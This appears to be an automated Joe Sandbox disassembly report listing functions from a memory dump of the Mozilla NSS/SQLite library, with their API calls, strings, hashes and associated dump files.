_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB988E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6CB988F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB9894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB9895F
sqlite3_randomness.NSS3(00000008,?), ref: 6CB98914

Part of subcall function 6CB831C0: sqlite3_initialize.NSS3 ref: 6CB831D6

sqlite3_randomness.NSS3(00000004,?), ref: 6CB98A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB98A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB98A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB98B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB98B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6CB98BAD

Strings

cannot limit WAL size: %s, xrefs: 6CB99188

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: f2a844e1a378e83c511b082f0fb04a008963a4a2cb159db818d3939b86becd33
Instruction ID: d397bf06612a0583bb68d51e56decec907225a0e05cb6c84fa8b34d62a69f50f
Opcode Fuzzy Hash: f2a844e1a378e83c511b082f0fb04a008963a4a2cb159db818d3939b86becd33
Instruction Fuzzy Hash: 1492AF71A083419FD704CF29C880A5AB7F5FF89318F188A2DE99987761E731EC55CB92

Function 6CC5AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC5ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CC5ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CC5ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CC5AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC5ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5ADF0

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC5B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC5B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC5B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CC5B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC5B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5B40C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: f3f37def7b8a3438160156ee60ac2e67ec5e83435986d8b204a83035bf762b69
Instruction ID: 87cf2a53a9036d0920987c3017250fa1d624b0d75c711056bdd3b00c83a96a50
Opcode Fuzzy Hash: f3f37def7b8a3438160156ee60ac2e67ec5e83435986d8b204a83035bf762b69
Instruction Fuzzy Hash: 5E22B0B1904300AFE710CF15CC54BAA7BA1AF8430CF54856CE8585B791F772E87ACB9A

Function 6CBDECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CBDED38

Part of subcall function 6CB74F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB74FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CBDEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CBDEFE4

Part of subcall function 6CC9DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB75001,?,00000003,00000000), ref: 6CC9DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CBDF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CBDF129
sqlite3_mprintf.NSS3(optimize), ref: 6CBDF1D1
sqlite3_free.NSS3(?), ref: 6CBDF368

Strings

fts4aux, xrefs: 6CBDECF9
fts3tokenize, xrefs: 6CBDF30F
optimize, xrefs: 6CBDF199, 6CBDF1CC, 6CBDF211
matchinfo, xrefs: 6CBDF04F, 6CBDF082, 6CBDF0C2, 6CBDF0F2, 6CBDF124, 6CBDF169
simple, xrefs: 6CBDED79
fts3_tokenizer, xrefs: 6CBDEE1A, 6CBDEEA8
porter, xrefs: 6CBDED97
fts3, xrefs: 6CBDF247
offsets, xrefs: 6CBDEFAF, 6CBDEFDF, 6CBDF01F
snippet, xrefs: 6CBDEF05, 6CBDEF37, 6CBDEF7C
unicode61, xrefs: 6CBDEDB5
fts4, xrefs: 6CBDF2AD

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 9bcfe8e1a7f3ca450df30ba7b1eefc8b1bc0ea392fdaf8e083b3029e61cb387b
Instruction ID: 0d20e947e519255a255b9c17feac9acef2bcc9267f49a5d441ad2d2ae362db9f
Opcode Fuzzy Hash: 9bcfe8e1a7f3ca450df30ba7b1eefc8b1bc0ea392fdaf8e083b3029e61cb387b
Instruction Fuzzy Hash: C302F1B2B083815BE7049F71988532F77B5ABC561CF1A853CD95A87B00EB74F8468793

Function 6CC1A4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6CBF28AD,pkcs11:,00000007), ref: 6CC1A501
PORT_Strdup_Util.NSS3(6CBF28AD), ref: 6CC1A514

Part of subcall function 6CC50F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBF2AF5,?,?,?,?,?,6CBF0A1B,00000000), ref: 6CC50F1A
Part of subcall function 6CC50F10: malloc.MOZGLUE(00000001), ref: 6CC50F30
Part of subcall function 6CC50F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC50F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6CC1A529
PK11_GetInternalKeySlot.NSS3 ref: 6CC1A60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CC1A74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CC1A777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC1A80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6CC1A82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC1A952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC1A9C3

Part of subcall function 6CC40960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6CC1A8F5,00000000,?,00000010), ref: 6CC4097E
Part of subcall function 6CC40960: memcmp.VCRUNTIME140(?,00000000,6CC1A8F5,00000010), ref: 6CC4098D

free.MOZGLUE(00000000), ref: 6CC1AB18
strchr.VCRUNTIME140(?,00000040), ref: 6CC1AB40
free.MOZGLUE(?), ref: 6CC1ABE1

Part of subcall function 6CC14170: TlsGetValue.KERNEL32(?,6CBF28AD,00000000,?,6CC1A793,?,00000000), ref: 6CC1419F
Part of subcall function 6CC14170: EnterCriticalSection.KERNEL32(0000001C), ref: 6CC141AF
Part of subcall function 6CC14170: PR_Unlock.NSS3(?), ref: 6CC141D4

Strings

manufacturer, xrefs: 6CC1A8A2
object, xrefs: 6CC1A5CF
pkcs11:, xrefs: 6CC1A4FB
token, xrefs: 6CC1A875
model, xrefs: 6CC1A8CF

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: a80659b79aff979b72f952068e71270072488e851c40f05fc2f1a513cbf8579c
Instruction ID: 7dd801d975b51a9911953921ef40cb08df68bd8aad53a739434625beb4b2105b
Opcode Fuzzy Hash: a80659b79aff979b72f952068e71270072488e851c40f05fc2f1a513cbf8579c
Instruction Fuzzy Hash: 9802A5B5E042149FFF119B26AC41B9A7675AF5120CF1440A4E90CA2F12FB329E9DDF92

Function 6CC3A650 Relevance: 31.8, APIs: 21, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC3A670

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PK11_GetInternalKeySlot.NSS3 ref: 6CC3A67E
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CC3A69B

Part of subcall function 6CC19520: PK11_IsLoggedIn.NSS3(00000000,?,6CC4379E,?,00000001,?), ref: 6CC19542

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC3A6C0
TlsGetValue.KERNEL32 ref: 6CC3A703
EnterCriticalSection.KERNEL32(?), ref: 6CC3A718
PR_Unlock.NSS3(?), ref: 6CC3A78B
PK11_CreateContextBySymKey.NSS3(00000133,00000104,?,00000000), ref: 6CC3A7DD
PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC3A7FA
PORT_Alloc_Util.NSS3(00000000), ref: 6CC3A818
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC3A82F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC3A868
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC3A873
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC3A884
PK11_FreeSymKey.NSS3(00000000), ref: 6CC3A894
PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CC3A8D9
PK11_CipherOp.NSS3(?,00000000,?,00000000,00000000,00000000), ref: 6CC3A8F0
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD50B04), ref: 6CC3A93F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC3A952
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC3A961
PK11_DestroyContext.NSS3(?,00000001), ref: 6CC3A96E

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$K11_$Item_$Zfree$Arena_Free$Alloc_ArenaContext$AuthenticateBlockCipherCreateCriticalDestroyEncodeEnterInitInternalLockLoggedPoolSectionSizeSlotUnlockValuecallocmemcpy
String ID:
API String ID: 1441238854-0
Opcode ID: f5257d991665cc01c81850818d72be3b4e0b7f9c5d5b689915e106c165fd4f9a
Instruction ID: 7e1458a3e82a873d1aa5782011f41d2c8270ed03f9afd1eef94ff575d83bc472
Opcode Fuzzy Hash: f5257d991665cc01c81850818d72be3b4e0b7f9c5d5b689915e106c165fd4f9a
Instruction Fuzzy Hash: B491E7B1E002149FEF00DFE5EC45AAEB7B8AF5530CF044429E918AB711F7719969CB91

Function 6CC1E6E0 Relevance: 30.6, APIs: 20, Instructions: 581memorythreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC1E8AB
EnterCriticalSection.KERNEL32(?), ref: 6CC1E8BF
PORT_Alloc_Util.NSS3(0000000C), ref: 6CC1EA30
PK11_Encrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6CC1EA6A
PORT_Alloc_Util.NSS3(?), ref: 6CC1EB0D
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CC1EB23
memcpy.VCRUNTIME140(?,?), ref: 6CC1EB38
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC1EB50
PR_SetError.NSS3(00000000,00000000), ref: 6CC1EC0F
PR_Unlock.NSS3(?), ref: 6CC1EC68
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC1EC7D
PR_Unlock.NSS3(?), ref: 6CC1EC9C
PK11_Decrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6CC1ECCF
PR_GetCurrentThread.NSS3 ref: 6CC1ED02
PK11_Decrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6CC1ED6F
PK11_Encrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6CC1EDB7
memcpy.VCRUNTIME140(?,?,?), ref: 6CC1EDF6
memcpy.VCRUNTIME140(?,?), ref: 6CC1EE12
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC1EE2B

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

free.MOZGLUE(?), ref: 6CC1EE43

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$ErrorK11_memcpy$Alloc_DecryptEncryptUnlockUtilcalloc$CriticalCurrentEnterSectionThreadfree
String ID:
API String ID: 1743700497-0
Opcode ID: 1e76490641922013fc62e7f3ba6b8112cef31a31c1f925bd4d5fb33fa2899dfe
Instruction ID: 47dbdbb63da46166d74e3204ad294b8edeffc0b7dc484de08403fb7624e478da
Opcode Fuzzy Hash: 1e76490641922013fc62e7f3ba6b8112cef31a31c1f925bd4d5fb33fa2899dfe
Instruction Fuzzy Hash: 64323971908301DFDB14CF1AC884A9ABBE1BF88308F14896DE99987B51E331E945DF92

Function 6CBE2560 Relevance: 30.3, APIs: 10, Strings: 7, Instructions: 533stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBE25B2
memset.VCRUNTIME140(00000000,00000000,00000079), ref: 6CBE25DE
sqlite3_snprintf.NSS3(-0000000F,00000068,%s-shm,?), ref: 6CBE2604
sqlite3_initialize.NSS3 ref: 6CBE269D
sqlite3_uri_parameter.NSS3(?,readonly_shm), ref: 6CBE26D6
sqlite3_initialize.NSS3 ref: 6CBE289F
EnterCriticalSection.KERNEL32(?), ref: 6CBE29CD
LeaveCriticalSection.KERNEL32(?), ref: 6CBE2A26
sqlite3_free.NSS3(?), ref: 6CBE2B30

Strings

winFileSize, xrefs: 6CBE2A7D
winShmMap3, xrefs: 6CBE2C08, 6CBE2C3D
readonly_shm, xrefs: 6CBE26CE
winShmMap2, xrefs: 6CBE2BD0
winOpenShm, xrefs: 6CBE2B7E
%s-shm, xrefs: 6CBE25FD
winShmMap1, xrefs: 6CBE2AB0

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_initialize$memsetsqlite3_freesqlite3_snprintfsqlite3_uri_parameterstrlen
String ID: %s-shm$readonly_shm$winFileSize$winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 3867263885-4021692097
Opcode ID: 213ca6138278e6d77278fe2812f319cf3be904f10302558ab0ba828102b8b04f
Instruction ID: 55acb37578205696d00969303287934f41796235e50e8ba31eda878b40cced6b
Opcode Fuzzy Hash: 213ca6138278e6d77278fe2812f319cf3be904f10302558ab0ba828102b8b04f
Instruction Fuzzy Hash: 3612F171A043429FEB04DF24D888A6A77B5FF89759F14852CEA0997B50EB30EC05CB93

Function 6CD04760 Relevance: 30.2, APIs: 20, Instructions: 166COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000014,?,?), ref: 6CD0477D
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 6CD04793
SetSecurityDescriptorOwner.ADVAPI32(00000000,00000000), ref: 6CD047AA
SetSecurityDescriptorGroup.ADVAPI32(00000000,00000000), ref: 6CD047C1
GetLengthSid.ADVAPI32 ref: 6CD047D5
GetLengthSid.ADVAPI32 ref: 6CD047E3
GetLengthSid.ADVAPI32 ref: 6CD047F6
malloc.MOZGLUE(-00000020), ref: 6CD04803
InitializeAcl.ADVAPI32(00000000,-00000020,00000002), ref: 6CD0481A
AddAccessAllowedAce.ADVAPI32(00000000,00000002,00000000), ref: 6CD04856
AddAccessAllowedAce.ADVAPI32(00000000,00000002,00000000), ref: 6CD0488E
AddAccessAllowedAce.ADVAPI32(00000000,00000002,00000000), ref: 6CD048C6
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 6CD048D6
PR_SetError.NSS3(FFFFE898,00000000,?,?), ref: 6CD048F5
GetLastError.KERNEL32 ref: 6CD048FF
free.MOZGLUE(00000000), ref: 6CD0490F
GetLastError.KERNEL32 ref: 6CD04923
GetLastError.KERNEL32 ref: 6CD04931
free.MOZGLUE(00000000), ref: 6CD04947
free.MOZGLUE(00000000), ref: 6CD0494D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DescriptorErrorSecurity$AccessAllowedLastLengthfree$Initializemalloc$DaclGroupOwner
String ID:
API String ID: 3239018249-0
Opcode ID: 3e696e578b66fcfa7c108943070d9171dedd288aaa4de5a5b340a8c049501beb
Instruction ID: 01ebf9794b27cd18cc76a5b3509b1af35686ea6a243e81cda3b2546576fa730e
Opcode Fuzzy Hash: 3e696e578b66fcfa7c108943070d9171dedd288aaa4de5a5b340a8c049501beb
Instruction Fuzzy Hash: 8D51AF70701601ABFB00AF79DC8AF6A77BCBF46789F144824EB15D29A1EB70D404CB60

Function 6CBE4420 Relevance: 29.2, APIs: 7, Strings: 9, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBE4EE3

Strings

non-deterministic use of %s() in %s, xrefs: 6CBE4D71, 6CBE4EA4
-, xrefs: 6CBE4FBA
40f-21a-21d, xrefs: 6CBE44D0
second, xrefs: 6CBE4BCA
a CHECK constraint, xrefs: 6CBE4D62, 6CBE4D6D, 6CBE4E95, 6CBE4EA0
a generated column, xrefs: 6CBE4D58, 6CBE4E8B
weekday , xrefs: 6CBE54AB
an index, xrefs: 6CBE4D53, 6CBE4E86
start of , xrefs: 6CBE517A

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $weekday
API String ID: 39653677-183924012
Opcode ID: 72e61243e8e4f988653214602fd5f90b669254c7e6b99105680c0b129032f8f1
Instruction ID: 6059ff0b8e81697b6546fa470748ef14460c0012f5dc6bc83c775e59fad534f5
Opcode Fuzzy Hash: 72e61243e8e4f988653214602fd5f90b669254c7e6b99105680c0b129032f8f1
Instruction Fuzzy Hash: 0CA223306087D48FD7118F78C0503AAB7E2EF8A798F14864DE8D95BB52E735D889CB46

Function 6CBAA7D0 Relevance: 28.2, APIs: 5, Strings: 8, Instructions: 5451COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CBAA973

Strings

INDEX %d, xrefs: 6CBAD786
MULTI-INDEX OR, xrefs: 6CBAD6E6
at most %d tables in a join, xrefs: 6CBAB630
SCAN CONSTANT ROW, xrefs: 6CBAB01D
N, xrefs: 6CBAAD0F
too many arguments on %s() - max %d, xrefs: 6CBAEB2D
gfff, xrefs: 6CBAED41
abbreviated query algorithm search, xrefs: 6CBAB3BF

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memset
String ID: N$INDEX %d$MULTI-INDEX OR$SCAN CONSTANT ROW$abbreviated query algorithm search$at most %d tables in a join$gfff$too many arguments on %s() - max %d
API String ID: 2221118986-452224314
Opcode ID: 5d097023f02fadf72a1dd01aeefaddca643f9314843771dc0d5fc55f8780d635
Instruction ID: 5874b6178e76f2b71c7f73f19cb3d5dd51e16a220e30e9e815b1f9b39b6c4b46
